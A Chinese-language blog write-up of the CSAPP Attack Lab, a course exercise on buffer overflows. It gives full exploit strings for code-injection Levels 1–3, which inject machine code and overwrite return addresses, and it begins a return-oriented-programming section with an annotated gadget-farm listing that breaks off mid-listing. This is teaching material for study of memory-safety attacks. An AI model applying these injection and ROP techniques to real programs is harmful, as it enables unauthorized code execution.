1. 程式人生 > >CSAPP:Attack Lab —— 緩衝區溢位攻擊實驗

CSAPP:Attack Lab —— 緩衝區溢位攻擊實驗

Warm-up

X86-64暫存器和棧幀

X86-64有16個64位暫存器 :

-%rax 作為函式返回值使用。
- %rsp 棧指標暫存器,指向棧頂。
- %rdi,%rsi,%rdx,%rcx,%r8,%r9 用作函式引數,依次對應第1引數,第2引數……
- %rbx,%rbp,%r12,%r13,%14,%15 用作資料儲存,遵循被呼叫者使用規則。
- %r10,%r11 用作資料儲存,遵循呼叫者使用規則。

程式可以用棧來管理它的過程所需要的儲存空間,棧和程式暫存器存放著傳遞控制和資料、分配記憶體所需要的資訊。
當過程需要的儲存空間超出暫存器能夠存放的大小時,就會在棧上分配空間,這個部分稱為過程的棧幀。
棧幀


將控制從函式P轉移到函式Q只需要簡單地把程式計數器設定為Q的程式碼的起始位置,當稍後從Q返回時,處理器必須記錄好它需要繼續P的執行的程式碼位置。
在x86-64機器中,call Q指令會把返回地址即緊跟在call指令後的那條指令的地址壓入棧中,並將程式計數器設定為Q的起始地址;對應的ret指令會從棧中彈出返回地址,並把程式計數器設定為該返回地址。

實驗目的

本實驗要求在兩個有著不同安全漏洞的程式上實現五種攻擊。

通過完成本實驗達到:
- 深入理解當程式沒有對緩衝區溢位做足夠防範時,攻擊者可能會如何利用這些安全漏洞。
- 深入理解x86-64機器程式碼的棧和引數傳遞機制。
- 深入理解x86-64指令的編碼方式。
- 熟練使用gdb和objdump等除錯工具。
- 更好地理解寫出安全的程式的重要性,瞭解到一些編譯器和作業系統提供的幫助改善程式安全性的特性。

檔案說明

ctarget:一個容易遭受code injection攻擊的可執行程式。
rtarget:一個容易遭受return-oriented programming攻擊的可執行程式。
cookie.txt:一個8位的十六進位制碼,用於驗證身份的唯一識別符號。
farm.c:目標“gadget farm”的原始碼,用於產生return-oriented programming攻擊。
hex2raw:一個生成攻擊字串的工具。

unsigned getbuf()
{
    char buf[BUFFER_SIZE];
    Gets(buf);
    return 1;
}

函式Gets()類似於標準庫函式gets(),從標準輸入讀入一個字串,將字串(帶null結束符)儲存在指定的目的地址。二者都只會簡單地拷貝位元組序列,無法確定目標緩衝區是否足夠大以儲存下讀入的字串,因此可能會超出目標地址處分配的儲存空間。
字串不能包含位元組值0x0a,這是換行符'\n'的ASCII碼,Gets()遇到這個位元組時會認為意在結束該字串。

輸入正常長度的字串
未超出緩衝區大小,正常返回1。

輸入過長長度的字串
超出緩衝區大小通常會導致程式狀態被破壞,引起記憶體訪問錯誤。

實驗輔助

  • hex2raw的使用說明

    要求輸入是一個十六進位制格式的字串,用兩個十六進位制數字表示一個位元組值,位元組值之間以空白符(空格或新行)分隔,注意使用小端法位元組序。

    將攻擊字串存入檔案中,如attack.txt,然後用下述方法呼叫:
    1.cat attack.txt | ./hex2raw | ./ctarget
    2../hex2raw <attack.txt> attackraw.txt
    ./ctarget < attackraw.txt./ctarget -i attackraw.txt
    3.結合gdb使用
    ./hex2raw <attack.txt> attackraw.txt
    gdb ctarget
    (gdb) run < attackraw.txt(gdb) run -i attackraw.txt

  • 生成位元組程式碼操作
    編寫一個彙編檔案:
    vim attack.s
    彙編和反彙編此檔案:
    gcc -c attack.s
    objdump -d attack.o > attack.d
    由此推出這段程式碼的位元組序列。

  • 涉及的gdb命令

    (gdb) r run的簡寫,執行被除錯的程式。若有斷點,則程式暫停在第一個可用斷點處。
    (gdb) c continue的簡寫,繼續執行被除錯程式,直至下一個斷點或程式結束。
    (gdb) print <指定變數> 顯示指定變數的值。
    (gdb) break *<程式碼地址> 設定斷點。
    (gdb) x/<n/f/u> <addr> examine的簡寫,檢視記憶體地址中的值。

* (gdb) x/< n/f/u > < addr > 的具體用法:
n、f、u是可選的引數。

-n是一個正整數,表示需要顯示的記憶體單元的個數。
- f 表示顯示的格式。s表示地址所指的是字串,i表示地址是指令地址。
- u表示從當前地址往後請求的位元組數,如果不指定的話,預設是4位元組。b表示單位元組,h表示雙位元組,w表示四位元組,g表示八位元組。
- < addr >表示一個記憶體地址。

Part I

Code Injection Attacks
程式被設定成棧的位置每次執行都一樣,因此棧上的資料就可以等效於可執行程式碼,使得程式更容易遭受包含可執行程式碼位元組編碼的攻擊字串的攻擊。

-Level 1

函式test呼叫了函式getbufgetbuf執行返回語句時,程式會繼續執行test函式中的語句。

void test() 
{
    int val;
    val = getbuf();
    printf("NO explit. Getbuf returned 0x%x\n", val);
}

而我們要改變這個行為,使 getbuf返回的時候,執行 touch1而不是返回 test

void touch1() 
{
    vlevel = 1;
    printf("Touch!: You called touch1()\n");   
    validate(1);
    exit(0);
}

touch1看出我們不需要注入新的程式碼,只需要用攻擊字串指引程式執行一個已經存在的函式,也就是使getbuf結尾處的ret指令將控制轉移到touch1

0000000000401825 <getbuf>:
  401825:   48 83 ec 38             sub    $0x38,%rsp           
  401829:   48 89 e7                mov    %rsp,%rdi
  40182c:   e8 7f 02 00 00          callq  401ab0 <Gets>
  401831:   b8 01 00 00 00          mov    $0x1,%eax              
  401836:   48 83 c4 38             add    $0x38,%rsp
  40183a:   c3   

sub $0x38,%rsp這條指令可以得到getbuf建立的緩衝區大小為0x38位元組即56位元組。

000000000040183b <touch1>:
  40183b:   48 83 ec 08             sub    $0x8,%rsp
  40183f:   c7 05 b3 2c 20 00 01    movl   $0x1,0x202cb3(%rip)        # 6044fc <vlevel>
  401846:   00 00 00 
  401849:   bf dd 30 40 00          mov    $0x4030dd,%edi
  40184e:   e8 0d f4 ff ff          callq  400c60 <puts@plt>
  401853:   bf 01 00 00 00          mov    $0x1,%edi
  401858:   e8 a9 04 00 00          callq  401d06 <validate>
  40185d:   bf 00 00 00 00          mov    $0x0,%edi
  401862:   e8 79 f5 ff ff          callq  400de0 <exit@plt>

從這裡可以看出,touch1函式的起始地址為0x40183b
要使getbuf結尾處的ret指令將控制轉移到touch1,我們只需利用緩衝區溢位將返回地址修改為touch1的起始地址。

我們的攻擊字串就誕生了,不如把它命名為attack1.txt

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
//以上(任意位元組除0x0a)填充滿整個緩衝區(56位元組)以致溢位。
3b 18 40 00 00 00 00 00  
//用函式touch1的起始地址覆蓋掉原先的返回地址(注意位元組順序)。

呼叫hex2raw並執行ctarget
./hex2raw < attack1.txt > attackraw1.txt
./ctarget -i attackraw1.txt

Level 1

-Level 2

void touch2(unsigned val)
{
    vlevel = 2;
    if (val == cookie){
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    }else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}

getbuf函式返回的時候,執行 touch2而不是返回 test。不同的是,我們需要注入新的程式碼,並且必須讓touch2以為它接收到的引數是自己的 cookie,即0x73fb1600


0000000000401867 <touch2>:
  401867:   48 83 ec 08             sub    $0x8,%rsp                    
  40186b:   89 fa                   mov    %edi,%edx
  40186d:   c7 05 85 2c 20 00 02    movl   $0x2,0x202c85(%rip)        # 6044fc <vlevel>
  401874:   00 00 00 
  401877:   3b 3d 87 2c 20 00       cmp    0x202c87(%rip),%edi        # 604504 <cookie>  
  40187d:   75 20                   jne    40189f <touch2+0x38>                           
  40187f:   be 00 31 40 00          mov    $0x403100,%esi
  401884:   bf 01 00 00 00          mov    $0x1,%edi
  401889:   b8 00 00 00 00          mov    $0x0,%eax
  40188e:   e8 0d f5 ff ff          callq  400da0 <__printf_chk@plt>
  401893:   bf 02 00 00 00          mov    $0x2,%edi
  401898:   e8 69 04 00 00          callq  401d06 <validate>
  40189d:   eb 1e                   jmp    4018bd <touch2+0x56>
  40189f:   be 28 31 40 00          mov    $0x403128,%esi
  4018a4:   bf 01 00 00 00          mov    $0x1,%edi
  4018a9:   b8 00 00 00 00          mov    $0x0,%eax
  4018ae:   e8 ed f4 ff ff          callq  400da0 <__printf_chk@plt>
  4018b3:   bf 02 00 00 00          mov    $0x2,%edi
  4018b8:   e8 0b 05 00 00          callq  401dc8 <fail>
  4018bd:   bf 00 00 00 00          mov    $0x0,%edi
  4018c2:   e8 19 f5 ff ff          callq  400de0 <exit@plt>

從這裡可以看出,touch2函式的起始地址為0x401867
touch2的引數 val 儲存於暫存器 %rdi ,我們要做的就是先跳轉到一個地方執行一段程式碼,這段程式碼能夠將暫存器 %rdi 的值設定為cookie,然後再跳轉到 touch2執行。

這就是我們要注入的指令程式碼:

mov    $0x73fb1600,%rdi
pushq  $0x401867
ret

彙編和反彙編得到:

0000000000000000 <.text>:
   0:   48 c7 c7 00 16 fb 73    mov    $0x73fb1600,%rdi
   7:   68 67 18 40 00          pushq  $0x401867
   c:   c3                      retq  

於是我們要注入的程式碼字串為48 c7 c7 00 16 fb 73 68 67 18 40 00 c3

和Level 1 類似,利用緩衝區溢位將返回地址修改為這段程式碼的起始地址,就能讓程式執行我們注入的這段程式碼。
記憶體中儲存這段程式碼的地方便是 getbuf開闢的緩衝區,我們利用gdb檢視此時緩衝區的起始地址。

getbuf呼叫函式Gets開闢緩衝區,那我們就來看看呼叫完後緩衝區的位置。
檢視緩衝區位置
可見此時緩衝區的起始地址為0x55674e78

那麼最後的攻擊字串是這樣子的:

48 c7 c7 00 16 fb 73 68 
67 18 40 00 c3 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
//以上包含注入程式碼填充滿整個緩衝區(56位元組)以致溢位。
78 4e 67 55 00 00 00 00
//用緩衝區的起始地址覆蓋掉原先的返回地址(注意位元組順序)。

同樣地,呼叫hex2raw並執行ctarget
Level 2

-Level 3

int hexmatch(unsigned val, char *sval)
{
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval)
{
    vlevel = 3;
    if (hexmatch(cookie, sval)){
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

getbuf函式返回的時候,執行 touch3而不是返回 test。從touch3可以看出我們需要注入新的程式碼,並且必須讓touch3以為它接收到的引數是自己的 cookie的字串表示。

和Level 2的區別在於,我們要將暫存器%rdi設定為cookie字串的指標即儲存cookie字串的地址。

man ascii指令可以對照著找到cookie的字元的位元組表示。
0x73fb160037 33 66 62 31 36 30 30

0000000000401975 <touch3>:
  401975:   53                      push   %rbx
  401976:   48 89 fb                mov    %rdi,%rbx
  401979:   c7 05 79 2b 20 00 03    movl   $0x3,0x202b79(%rip)        # 6044fc <vlevel>
  401980:   00 00 00 
  401983:   48 89 fe                mov    %rdi,%rsi
  401986:   8b 3d 78 2b 20 00       mov    0x202b78(%rip),%edi        # 604504 <cookie>
  40198c:   e8 36 ff ff ff          callq  4018c7 <hexmatch>
  401991:   85 c0                   test   %eax,%eax                  
  401993:   74 23                   je     4019b8 <touch3+0x43>
  401995:   48 89 da                mov    %rbx,%rdx
  401998:   be 50 31 40 00          mov    $0x403150,%esi             
  40199d:   bf 01 00 00 00          mov    $0x1,%edi
  4019a2:   b8 00 00 00 00          mov    $0x0,%eax
  4019a7:   e8 f4 f3 ff ff          callq  400da0 <__printf_chk@plt>
  4019ac:   bf 03 00 00 00          mov    $0x3,%edi
  4019b1:   e8 50 03 00 00          callq  401d06 <validate>
  4019b6:   eb 21                   jmp    4019d9 <touch3+0x64>
  4019b8:   48 89 da                mov    %rbx,%rdx
  4019bb:   be 78 31 40 00          mov    $0x403178,%esi          
  4019c0:   bf 01 00 00 00          mov    $0x1,%edi
  4019c5:   b8 00 00 00 00          mov    $0x0,%eax
  4019ca:   e8 d1 f3 ff ff          callq  400da0 <__printf_chk@plt>
  4019cf:   bf 03 00 00 00          mov    $0x3,%edi
  4019d4:   e8 ef 03 00 00          callq  401dc8 <fail>
  4019d9:   bf 00 00 00 00          mov    $0x0,%edi
  4019de:   e8 fd f3 ff ff          callq  400de0 <exit@plt>

從這裡可以看出,touch3函式的起始地址為0x401975
touch3中呼叫 hexmatch以及其中的strncmp函式時,會將資料壓入棧中,覆蓋getbuf使用的緩衝區的記憶體。因此,我們需要看看呼叫 hexmatch之前和之後緩衝區分別是什麼樣子的,才能確定把我們的cookie字串放在合適的位置從而不會被改變。

類似Level 1的攻擊字串,我們先寫一個能夠進入到touch3以便檢視緩衝區的字串。

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
//以上(任意位元組除0x0a)填充滿整個緩衝區(56位元組)以致溢位。
75 19 40 00 00 00 00 00  
//用函式touch3的起始地址覆蓋掉原先的返回地址(注意位元組順序)。

然後結合gdb執行ctarget進入touch3並分別在呼叫hexmatch前後設定斷點看看緩衝區。
檢視緩衝區

檢視緩衝區
可以看出緩衝區的 56 個位元組裡,0x55674e78~0x55674e87這16個位元組用來儲存我們的注入程式碼,
0x55674e88~0x55674eaf這40個位元組內並沒有連續的 8 個沒有被覆蓋的位元組。
在緩衝區外,0x55674eb0~0x55674eb7這8個位元組用來儲存返回地址即緩衝區起始地址0x55674e78, 幸運地發現0x55674eb8~0x55674ebf這8個位元組並沒有發生變化,恰好可以用來儲存我們的cookie字串。

mov    $0x55674eb8,%rdi
pushq  $0x401975
ret

彙編和反彙編得到:

Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 b8 4e 67 55    mov    $0x55674eb8,%rdi
   7:   68 75 19 40 00          pushq  $0x401975
   c:   c3                      retq   

最後的攻擊字串是這樣子的:

48 c7 c7 b8 4e 67 55 68 
75 19 40 00 c3 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
//以上包含注入程式碼填充滿整個緩衝區(56位元組)以致溢位。
78 4e 67 55 00 00 00 00
//用緩衝區的起始地址覆蓋掉原先的返回地址(注意位元組順序)。
37 33 66 62 31 36 30 30
//cookie字串的位元組表示。

然後又看到令人開心的結果啦:
Level 3

Part II

Return-Oriented Programming Attacks
採用以下兩種技術對抗攻擊:
-隨機化,每次執行棧的位置都不同,所以無法決定注入程式碼應放位置。
-將儲存棧的記憶體區域設定為不可執行,所以即使能夠把注入的程式碼的起始地址放入程式計數器中,程式也會報段錯誤失敗。

可以通過現有程式中的程式碼而不是注入新的程式碼來實現攻擊。

使用gadget farm裡的gadget來攻擊rtarget程式。每條指令最後跟著 ret,就能從一個 gadget 跳轉到另一個 gadget 中,從而實現我們需要的操作。

  • 指令的位元組編碼(所有的值均為十六進位制)

movq
popq、movl
2-byte functional nop

注意:

-nop是一個空操作,只是讓程式計數器加一,該指令編碼為0x90
-2位元組指令可以作為有功能的nop,不改變任何暫存器或記憶體的值。

  • gadget farm中找出指令(‘指令編碼’)
0000000000401a0c <start_farm>:
  401a0c:   b8 01 00 00 00          mov    $0x1,%eax
  401a11:   c3                      retq   

0000000000401a12 <setval_263>:
  401a12:   c7 07 48 89 c7 91       movl   $0x91c78948,(%rdi)                    
  401a18:   c3                      retq   

0000000000401a19 <getval_153>:
  401a19:   b8 f8 48 89 c7          mov    $0xc78948f8,%eax                      
  401a1e:   c3                      retq   

0000000000401a1f <getval_438>:
  401a1f:   b8 48 09 c7 c3          mov    $0xc3c70948,%eax
  401a24:   c3                      retq   

0000000000401a25 <getval_146>:
  401a25:   b8 cd 23 50 90          mov    $0x905023cd,%eax
  401a2a:   c3                      retq   

0000000000401a2b <setval_278>:
  401a2b:   c7 07 `58 90 90 c3`     movl   $0xc3909058,(%rdi)            popq  %rax      
  401a31:   c3                      retq   

0000000000401a32 <setval_148>:
  401a32:   c7 07 58 90 90 90       movl   $0x90909058,(%rdi)            
  401a38:   c3                      retq   

0000000000401a39 <getval_294>:
  401a39:   b8 a4  94 90            mov    $0x909458a4,%eax
  401a3e:   c3                      retq   

0000000000401a3f <setval_161>:
  401a3f:   c7 07 `48 89 c7 c3`     movl   $0xc3c78948,(%rdi)           mov  %rax,%rdi             
  401a45:   c3                      retq   

0000000000401a46 <mid_farm>:
  401a46:   b8 01 00 00 00          mov    $0x1,%eax
  401a4b:   c3                      retq   

0000000000401a4c <add_xy>:
  401a4c:   `48 8d 04 37`           lea    (%rdi,%rsi,1),%rax            lea    (%rdi,%rsi,1),%rax     
  401a50:   `c3`                    retq   

0000000000401a51 <setval_329>:
  401a51:   c7 07 `89 c2 38 c0`     movl   $0xc038c289,(%rdi)            movl  %eax,%edx   
  401a57:   `c3`                    retq   

0000000000401a58 <setval_397>:
  401a58:   c7 07 89 d1 28 c9       movl   $0xc928d189,(%rdi)
  401a5e:   c3                      retq   

0000000000401a5f <setval_178>:
  401a5f:   c7 07 89 ce c2 b2       movl   $0xb2c2ce89,(%rdi)
  401a65:   c3                      retq   

0000000000401a66 <getval_103>:
  401a66:   b8 89 ce 00 d2          mov    $0xd200ce89,%eax
  401a6b:   c3                      retq   

0000000000401a6c <setval_332>:
  401a6c:   c7 07 81 ce 20 d2       movl   $0xd220ce81,(%rdi)
  401a72:   c3                      retq   

0000000000401a73 <setval_376>:
  401a73:   c7 07 48 89 e0 91       movl   $0x91e08948,(%rdi)            
  401a79:   c3                      retq   

0000000000401a7a <setval_143>:
  401a7a:   c7 07 c9 d1 08 db       movl   $0xdb08d1c9,(%rdi)
  401a80:   c3                      retq   

0000000000401a81 <getval_149>:
  401a81:   b8 99 c2 08 db          mov    $0xdb08c299,%eax
  401a86:   c3                      retq   

0000000000401a87 <addval_461>:
  401a87:   8d 87 8b d1 84 db       lea    -0x247b2e75(%rdi),%eax
  401a8d:   c3                      retq   

0000000000401a8e <addval_271>:
  401a8e:   8d 87 48 81 e0 c3       lea    -0x3c1f7eb8(%rdi),%eax
  401a94:   c3                      retq   

0000000000401a95 <getval_459>:
  401a95:   b8 89 c2 c4 c0          mov    $0xc0c4c289,%eax
  401a9a:   c3                      retq   

0000000000401a9b <getval_385>:
  401a9b:   b8 89 c2 18 d2          mov    $0xd218c289,%eax
  401aa0:   c3                      retq   

0000000000401aa1 <addval_462>:
  401aa1:   8d 87 8b ce 08 c9       lea    -0x36f73175(%rdi),%eax
  401aa7:   c3                      retq   

0000000000401aa8 <getval_150>:
  401aa8:   b8 `89 d1 20 c9`        mov    $0xc920d189,%eax             movl  %edx,%ecx     
  401aad:   `c3`                    retq   

0000000000401aae <setval_236>:
  401aae:   c7 07 `89 c2 20 d2`     movl   $0xd220c289,(%rdi)           movl  %eax,%edx
  401ab4:   `c3`                    retq   

0000000000401ab5 <addval_165>:
  401ab5:   8d 87 `48 89 e0 90`     lea    -0x6f1f76b8(%rdi),%eax       mov  %rsp,%rax    
  401abb:   `c3`                    retq   

0000000000401abc <addval_285>:
  401abc:   8d 87 ce 89 d1 c2       lea    -0x3d2e7632(%rdi),%eax
  401ac2:   c3                      retq   

0000000000401ac3 <getval_212>:
  401ac3:   b8 81 c2 90 90          mov    $0x9090c281,%eax
  401ac8:   c3                      retq   

0000000000401ac9 <getval_112>:
  401ac9:   b8 `89 ce 08 c0`        mov    $0xc008ce89,%eax             movl  %ecx,%esi    
  401ace:   `c3`                    retq   

0000000000401acf <getval_191>:
  401acf:   b8 f7 48 88 e0          mov    $0xe08848f7,%eax
  401ad4:   c3                      retq   

0000000000401ad5 <getval_309>:
  401ad5:   b8 48 89 e0 c7          mov    $0xc7e08948,%eax
  401ada:   c3                      retq   

0000000000401adb <addval_111>:
  401adb:   8d 87 48 89 e0 c1       lea    -0x3e1f76b8(%rdi),%eax
  401ae1:   c3                      retq   

0000000000401ae2 <addval_133>:
  401ae2:   8d 87 89 c2 94 db       lea    -0x246b3d77(%rdi),%eax
  401ae8:   c3                      retq   

0000000000401ae9 <getval_260>:
  401ae9:   b8 89 ce c7 93          mov    $0x93c7ce89,%eax
  401aee:   c3                      retq   

0000000000401aef <setval_454>:
  401aef:   c7 07 89 ce 90 c3       movl   $0xc390ce89,(%rdi)
  401af5:   c3                      retq   

0000000000401af6 <setval_496>:
  401af6:   c7 07 08 89 e0 c3       movl   $0xc3e08908,(%rdi)
  401afc:   c3                      retq   

0000000000401afd <addval_330>:
  401afd:   8d 87 70 89 ce 91       lea    -0x6e317690(%rdi),%eax
  401b03:   c3                      retq   

0000000000401b04 <setval_437>: